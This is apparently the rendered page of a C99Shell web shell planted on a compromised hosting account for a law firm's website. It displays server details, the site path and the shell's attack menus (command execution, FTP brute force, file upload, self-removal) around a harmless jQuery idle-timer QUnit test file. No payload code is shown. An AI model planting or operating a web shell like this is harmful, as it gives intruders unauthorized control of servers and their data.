!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/home/cp949260/public_html/mophlawyer.com/admin/assets/vendor/jquery-idletimer/test/   drwxr-xr-x
Free 237.28 GB of 981.82 GB (24.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     idle-timer_test.js (6.05 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
(function($) {
/*
		======== A Handy Little QUnit Reference ========
		http://docs.jquery.com/QUnit

		Test methods:
			expect(numAssertions)
			stop(increment)
			start(decrement)
		Test assertions:
			ok(value, [message])
			equal(actual, expected, [message])
			notEqual(actual, expected, [message])
			deepEqual(actual, expected, [message])
			notDeepEqual(actual, expected, [message])
			strictEqual(actual, expected, [message])
			notStrictEqual(actual, expected, [message])
			raises(block, [expected], [message])
*/
    //Name | expects | test
	module("Events Auto Binding");
	asyncTest("idle Event Triggered", 2, function () {
		$(document).on("idle.idleTimer", function (event, elem, obj) {

			ok(true, "idle fires at document");
			ok(obj.idle, "object returned properly");

			$.idleTimer("destroy");
			$(document).off();

			start();
		});
		$.idleTimer( 100 );
	});
	asyncTest( "active Event Triggered", 2, function() {
		$( document ).on( "active.idleTimer", function(event, elem, obj){

			ok(true, "active fires at document");
			ok(!obj.idle, "object returned properly");

			$.idleTimer("destroy");
			$(document).off();

			start();
		});
		$.idleTimer({idle:true});
		setTimeout( function(){
			$( "#qunit-fixture" ).trigger( "keydown" );
		}, 100 );
	});




	module("Events Element Binding");
	asyncTest("idle Triggered", 2, function () {
		$("#qunit-fixture").on("idle.idleTimer", function (event, elem, obj) {

			ok(true, "idle fires at document");
			ok(obj.idle, "object returned properly");

			$("#qunit-fixture").idleTimer("destroy");

			start();
		});
		$("#qunit-fixture").idleTimer(100);
	});
	asyncTest("active Triggered", 2, function () {
		$("#qunit-fixture").on("active.idleTimer", function (event, elem, obj) {

			ok(true, "active fires at document");
			ok(!obj.idle, "object returned properly");

			$("#qunit-fixture").idleTimer("destroy");

			start();
		});
		$("#qunit-fixture").idleTimer({ idle: true });
		setTimeout(function () {
			$("#qunit-fixture").trigger("keydown");
		}, 100);
	});

	
	
	/*
	Need to actually test pause/resume/reset, not just thier return type
	*/
	module("Functional");
	asyncTest("Pause works and is a jQuery instance", 4, function () {

		$.idleTimer(100);
		equal(typeof $.idleTimer( "pause" ).jquery  , "string", "pause should be jquery" );

		$.idleTimer("resume");
		equal(typeof $(document).idleTimer("pause").jquery, "string", "pause should be jquery");

		setTimeout(function () {
			ok(!$.idleTimer("isIdle"), "timer still active");
			ok(!$(document).idleTimer("isIdle"), "timer still active");

			$.idleTimer("destroy");
			$(document).off();

			start();
		}, 200);
	});



	asyncTest("Resume works and is a jQuery instance", 4, function () {

		$.idleTimer(100);

		$.idleTimer("pause");
		equal(typeof $.idleTimer("resume").jquery, "string", "resume should be jquery");

		$.idleTimer("pause");
		equal(typeof $(document).idleTimer("resume").jquery, "string", "resume should be jquery");

		setTimeout(function () {
			ok($.idleTimer("isIdle"), "timer inactive");
			ok($(document).idleTimer("isIdle"), "timer inactive");

			$.idleTimer("destroy");
			$(document).off();

			start();
		}, 200);
	});

	test("Elapsed time is a number", 2, function () {

		$.idleTimer(100);

		equal(typeof $.idleTimer("getElapsedTime"), "number", "Elapsed time should be a number");
		equal(typeof $(document).idleTimer("getElapsedTime"), "number", "Elapsed time should be a number");
	});

	test("Init works and is a jQuery instance", 4, function () {

		equal(typeof $.idleTimer(100).jquery, "string", "Init should be jquery");
		equal(typeof $("#qunit-fixture").idleTimer(100).jquery, "string", "Destroy should be jquery");

		equal(typeof $(document).data("idleTimerObj").idle, "boolean", "Init data added");
		equal(typeof $("#qunit-fixture").data("idleTimerObj").idle, "boolean", "Init data added");
	});

	test("Destroy works and is a jQuery instance", 4, function () {

		$.idleTimer(100);
		$("#qunit-fixture").idleTimer(100);

		equal(typeof $.idleTimer("destroy").jquery, "string", "Destroy should be jquery");
		equal(typeof $("#qunit-fixture").idleTimer("destroy").jquery, "string", "Destroy should be jquery");

		equal(typeof $(document).data("idleTimerObj"), "undefined", "destroy removed data");
		equal(typeof $("#qunit-fixture").data("idleTimerObj"), "undefined", "destroy removed data");
	});

	asyncTest("Reset is a jQuery instance", 6, function () {

		//start the timer
		$.idleTimer(200);
		$.idleTimer("pause");
		$("#qunit-fixture").idleTimer(200);
		$("#qunit-fixture").idleTimer("pause");

        //After a bit, reset it 
		setTimeout(function () {
			equal(typeof $.idleTimer("reset").jquery, "string", "reset should be jquery");
			equal(typeof $("#qunit-fixture").idleTimer("reset").jquery, "string", "reset should be jquery");

			ok($(document).data("idleTimerObj").remaining===null, "reset remaining");
			ok($("#qunit-fixture").data("idleTimerObj").remaining === null, "reset remaining");
		}, 100);

		setTimeout(function () {
			ok($.idleTimer("isIdle"), "timer inactive");
			ok($("#qunit-fixture").idleTimer("isIdle"), "timer inactive");

			$.idleTimer("destroy");
			$("#qunit-fixture").idleTimer("destroy");
			$(document).off();

			start();
		}, 400);
	
	});
	
	test("Last Active time is a number", 2, function () {

		$.idleTimer(100);

		equal(typeof $.idleTimer("getLastActiveTime"), "number", "Last Active time should be a number");
		equal(typeof $(document).idleTimer("getLastActiveTime"), "number", "Last Active time should be a number");

		$.idleTimer("destroy");
	});
	
	test("Remaining time is a number", 2, function () {

		$.idleTimer(100);

		equal( typeof $.idleTimer( "getRemainingTime" ), "number", "Remaining time should be a number" );
		equal(typeof $(document).idleTimer("getRemainingTime"), "number", "Remaining time should be a number");

		$.idleTimer("destroy");
	});
	test("isIdle is a boolean", 2, function () {

		$.idleTimer(100);

		equal(typeof $.idleTimer("isIdle"), "boolean", "isIdle should be a boolean");
		equal(typeof $(document).idleTimer("isIdle"), "boolean", "isIdle should be a boolean");

		$.idleTimer("destroy");
	});

}(jQuery));

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0687 ]--